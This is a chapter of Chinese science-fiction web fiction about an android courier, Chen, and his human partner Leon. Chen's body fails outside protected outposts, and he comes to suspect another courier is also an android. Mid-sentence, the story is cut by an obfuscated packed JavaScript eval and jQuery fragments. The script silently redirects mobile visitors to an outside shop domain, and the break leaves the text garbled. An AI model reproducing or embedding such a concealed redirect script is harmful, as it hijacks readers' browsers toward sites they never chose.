陈把车钥匙插进钥匙孔的时候，里昂正在副驾驶座儿上往嘴里灌营养液。
"今天要去D区，D2和D5。"里昂翻着终端上的配送列表。
陈没说话，发动了车。
引擎声响起来的时候，里昂开始哼歌，不成调，哼出来的东西像收音机信号不好时候的杂音。陈听过他哼很多歌，没有一首是完整的，都是些不成段的曲调，有时候是开头两句，有时候是副歌的半截，像是记忆里的旋律被人剪碎了，里昂从来不去补全它们，哼到哪算哪，陈则是听到哪算哪。
车子穿过城区，经过两道检查口，大门打开，车开出去。
陈从座位底下把帽子翻出来，戴上，帽檐压低。他在城内不戴帽子，出了城就戴，不是冷，帽檐压着额头和眉骨，遮住大半张脸，这样别人不容易看到他的脸。
里昂把终端收进口袋，看了他一眼，没说什么，每次出城前陈都会戴帽子。
墙外的路面比城里差得多，坑洼碎石，有些地方路基塌了一半，只剩一条窄道。不过陈开车很稳，车子对他们来说很重要，他们平时保养的很好，陈开车也很小心，车子在他手下，即便是墙外的路段，颠得也不厉害，每个坑他都提前减速，角度选得也准，轮子从坑边滚过去，车里顶多晃两下就稳了，他俩一般都是陈开车，他开得比里昂稳。
里昂开车像打仗，油门当刹车踩，陈坐他的车得全程抓着扶手，但里昂从来不说自己开得不好，反而嫌陈开太慢。
出了墙，那种感觉就来了。
不是疼，是那种说不清的虚，像手心里攥着的东西正在一点一点滑走，这种感觉每次出城都有，陈早就习惯了。
里昂靠着车窗打瞌睡，呼吸声很均匀，他在车上睡觉的时间不长，每次大概十几二十分钟就醒了，说是配送员的习惯，脑子不能彻底关掉，得留个缝。
陈不知道自己能不能睡觉，他没试过，关机等于报废，他不敢。
不过有时候他也很好奇那是什么感觉，闭眼之后意识沉下去，完全不思考，什么都不想，但他没有机会试，也不允许自己试。
D2驻点的订单很顺利，一进驻点，那种虚的感觉就退了，像被人从水面底下捞上来，一下就呼吸通畅了。
在驻点里跟在城里没区别，搬箱子、走路、签字，一切正常。
里昂跟驻点的人聊天，他跟谁都聊得来，三句话之内就能跟陌生人聊得舒心，驻点的人笑，里昂也笑，笑的时候眼角有细纹。
陈站在车边等，他看着里昂笑，也跟着笑，隔着防护服的面罩，他的眼睛眯成一条缝。
里昂聊完了走回来，拍了拍他的肩膀，"走，下一单。D5那边还有个活儿，老周要的过滤芯和止痛贴。"
陈点了下头，上了车。
里昂翻着终端，把私单的信息划拉了一下，"过滤芯三个，止痛贴两盒，消炎片一盒。"
他数完把终端一扣，"到了D5报驻点充电，顺便把东西给他。"
车子驶出D2驻点。
那种感觉又追上来了，像一双手从后背慢慢松开，一开始只是指尖有点僵，陈没当回事，D2到D5不远，撑一撑就到了。
但今天不对，出了D2不到十分钟，那种虚的感觉就涌上来了，比往常快得多，像是有什么东西在加速抽走他身体里的支撑。
他握着方向盘，手指开始不听话，不是抖，是迟钝，像隔了一层，方向盘传回来的手感变得模糊，他感觉不到自己握了多紧。
然后双臂一阵发麻，从肩膀往下淌，像有人把他的神经整条拔出来又塞回去，信号断了又连，连了又断。
陈踩了刹车。
车在路面上顿了一下，停了。
里昂手撑着仪表台，看了陈一眼。
陈没有看他，他低着头看着自己的双手，手指搭在方向盘上，还在，但已经不是他的了。
他试了试，右手能动，但动得很慢，像隔了一秒才执行指令，左手干脆没反应，搭在方向盘上一动不动，像被人按住了。
"手不行了。"陈说，声音很平，像在报一个天气。
里昂没有慌，他看了眼窗外，又看了眼终端上的距离
"还有十二公里。"
里昂咬了下嘴唇
"比上次早。"
是比上次早，他们跑D区很多次了，陈没在这段路上出过问题，他们早就摸出了规律，知道陈会在哪个位置出现问题，大概在哪个位置该换人，里昂会在那里接过方向盘。但今天的跑的区域没有那么远，不应该出现问题，可现在问题已经发生了，两人边下车边聊。
"是不是D区辐射影响到了？"里昂问。
陈不知道，D区的矿物辐射比别的区高，是不是辐射加速了什么，他不确定，也没人能告诉他。他只知道规律变了，以前能撑的距离现在撑不了了。
里昂解开安全带，推开车门，绕到驾驶座这边。
陈也下了车，动作有点慢，左手还是不听使唤，垂在身侧，他用右手拽着左手塞进外套口袋。
两人换了位置，里昂坐进驾驶座，陈坐到副驾驶，系好安全带，把手揣进口袋里。
"坐稳了。"里昂发动车，踩油门的动作很果断，车速比陈开的时候快了不少，他管不了路面的颠簸，得赶在陈的情况变得更糟之前到D5，到了驻点就好了。
陈靠在座椅上，闭着眼，感觉身体里那根弦越绷越紧，像有人拿着钳子一点一点拧，拧到什么程度会断，他不知道。
他只能等，等进了驻点就好了，每次都这样。
车子冲进D5驻点范围的时候，陈感觉到了，像一盆凉水从头顶浇下来，整个人一下子通了，绷着的那根弦松了，手指开始听使唤，左手从口袋里伸出来，攥了两下拳头，稳了。
"好了？"里昂问。
"好了。"
里昂松了口气，把车子缓慢开进卸货区。
D5驻点的订单没出什么问题，两人搬了三趟，陈搬得很稳，在驻点里他跟平时没有区别，三十公斤的箱子他双手端着就走。
卸完货，里昂顺手把充电线从车厢里拽出来接上驻点的充电口，车子充电是合理的事，驻点用的能源来源大多是太阳能，公司没有损耗，所以配送员一般不用付费充电。
然后里昂冲驻点里喊了一声"老周"，一个穿褪色工装的中年男人从驻点里探出头，看了眼里昂，又看了眼车，朝他们招了招手。
里昂从副驾驶的储物格里摸出一个布袋，拎着走过去。陈站在车边，看着里昂和老周在驻点门口说话，声音不大，里昂把布袋递过去，老周接了，掀开看了一眼，点了下头，把布袋塞进衣服里侧的口袋。
"下回要是还超额度，提前给我发消息。"里昂拍了拍老周的手臂。
老周咧了下嘴
"直接找你们比联系公司申请的配送费省太多了。"
里昂笑了一下
"省着点用，额度不够就找我，别硬扛。"
他看了一眼老周的手，指关节泛红，骨头的地方鼓出来
"你那手怎么样？还疼？"
老周把手缩回去，攥了攥拳头
"老毛病了，这破天气一变就疼，贴了止痛贴也不顶事。"
"那就别光贴，去医院看看。"
"看什么看，看了也是那句，老损，养着。"
老周搓了搓手，自嘲地笑了一声
"人这身体就是麻烦，哪儿哪儿都出毛病，今天手疼明天腰酸，零件还换不了。"
他看了眼停在旁边的配送车，又说，"不像仿生人，哪儿不好使了换一个就行，多方便。"
里昂的笑容淡了一点
"人可不能说拆就拆，拆了那就不叫人了。"
"话是这么说"
老周的声音低下来，"可对上面那些人来说，我们还不如仿生人好使。仿生人不用吃不用喝，不用养家，让干嘛干嘛，一个指令就解决了。人呢？活着就会有毛病，有毛病就得花钱，花钱就得申请，申请还得等审批，等审批的功夫人已经废了。"
他摆了摆手，"算了，不说这些。"
里昂没接话，拍了一下老周的肩膀，"行了，我走了，有需要发消息。"
老周点了下头，转身往驻点里走，走了两步又回头，"谢了啊。"
里昂冲他抬了下下巴，转身往车边走。
陈站在车边等着，在驻点里，他的手是稳的，身体是自己的，跟刚才在路上判若两人。
他听到了老周说的那些话
"仿生人哪儿不好使了换一个就行"
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623225|205963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有说话，安静地上了副驾驶。
回城的路上，里昂开车。
一出D5驻点，那种感觉又来了，比来的时候更快，手指开始僵，双臂发麻，陈把双手揣进口袋，攥紧了，不说话。
里昂知道，他没问，只是把车速又提了一点。
车里安静了，收音机开着，播的是城里的广播，信号断断续续的，声音像从水底冒上来。
里昂伸手关了，车窗外面是漫天的黄沙，天际线和路面融在一起，分不清哪里是路哪里是天。
路上看到了几只异种，沙面上有细微的移动痕迹，沙行异种在底下穿行，偶尔露出一段脊背又沉下去。
里昂随口说了句"最近这帮玩意儿越来越多了"语气听上去很轻松，但握着方向盘的手在缓缓收紧。
陈也发现了，原来除非聚众才会行动的沙行异种，如今即便是只有一两只也会在路面边缘试探，这不太对，但他不知道该跟谁说。
"回去车灯得修一下"里昂说
"左边那个，感觉有点暗。"
陈应了一声，"嗯。"
靠近城，那种不适在退，像潮水从沙滩上慢慢撤回去，手指还有点僵，但已经不那么麻了。
到墙边的时候，陈感觉身体已经完全稳定了。
车停到放置区，陈摘了帽子，下了车，动作恢复正常。
里昂用刷子刷车子上的沙尘，看了他一眼。
"好了？"
"好了。"
里昂点了下头，快速把车子上的沙尘扫了扫，把车钥匙揣进口袋。
陈把帽子卷了卷塞进座位底下，在城里不需要遮。
两人收拾好就直接回去，里昂拿着终端算了算今天的收入，嘴里念叨着能源液这个月还差多少，念叨完就把终端一扣，说"走吧，明天再来。"
第二天。
里昂一早就在看单子，"C区有四单，C2两单，C5一单，C7一单。"
陈点头，拿帽子，上车，发动。
C区各驻点之间距离近，没有D区那种高辐射，应该不会出现昨天的问题。
老流程，两道检查口，帽子戴好，大门关闭。
车刚开出去没多远，里昂忽然拍了一下车窗。
"那是不是莲？"
陈顺着他的目光看过去，不远处，在路边，莲正朝城内的方向走，她的配送箱还背着，防护服上沾了一层灰，防护服的头盔已经取下来，深色的面罩贴在脸上，头发被风吹得乱七八糟，步子比平时快，像是在着急赶路，又像在跑路。
里昂把车窗摇下来，冲她抬了下手，"嘿，刚从外面回来？"
莲停了一步，看了他们一眼。
里昂和陈，她还穿着他们送的防护服。
"嗯。"她的声音有点干。
"墙外怎么样？"里昂问得很随意。
莲沉默了一秒。
"异种"她说
"比以前更大胆了，不太正常，你们以后也少出去吧。"
里昂的笑容停了一瞬，然后他叹了口气，把终端从口袋里掏出来又塞回去，不知道手该放哪
"我很需要钱"
他说，声音比刚才低了一点。
莲看了他一眼，没再说什么，她的视线从里昂身上移开，掠过陈，停了不到一秒。
陈坐在驾驶座上，手还搭在方向盘上，帽子已经戴好了。
他看着莲，什么也没说，她看上去和人类不太一样，她也是吗？
他看了眼不知情的里昂，他们从外表看上去没什么区别，但仿生人能识别出细微的不同。
莲朝着大门的方向走，步子还是快，很快就过了检查口，消失在城内。
里昂把车窗摇上去，挠了挠后脑勺，"异种？"他念叨了一遍，看了陈一眼，"走吧？"
陈发动了车，手稳稳地放在方向盘上。C区的路在前面展开，车灯照进灰暗的维护路段，两道光柱在前方切出一条路，不远，但够他们继续前进。
"里昂"
"怎么了？"里昂停下翻终端的手，视线抬起来。
"莲"他沉默了一下
"她和我一样。"
里昂愣了一下，反应过来陈说了什么，他的眼睛瞪大
陈点了点头。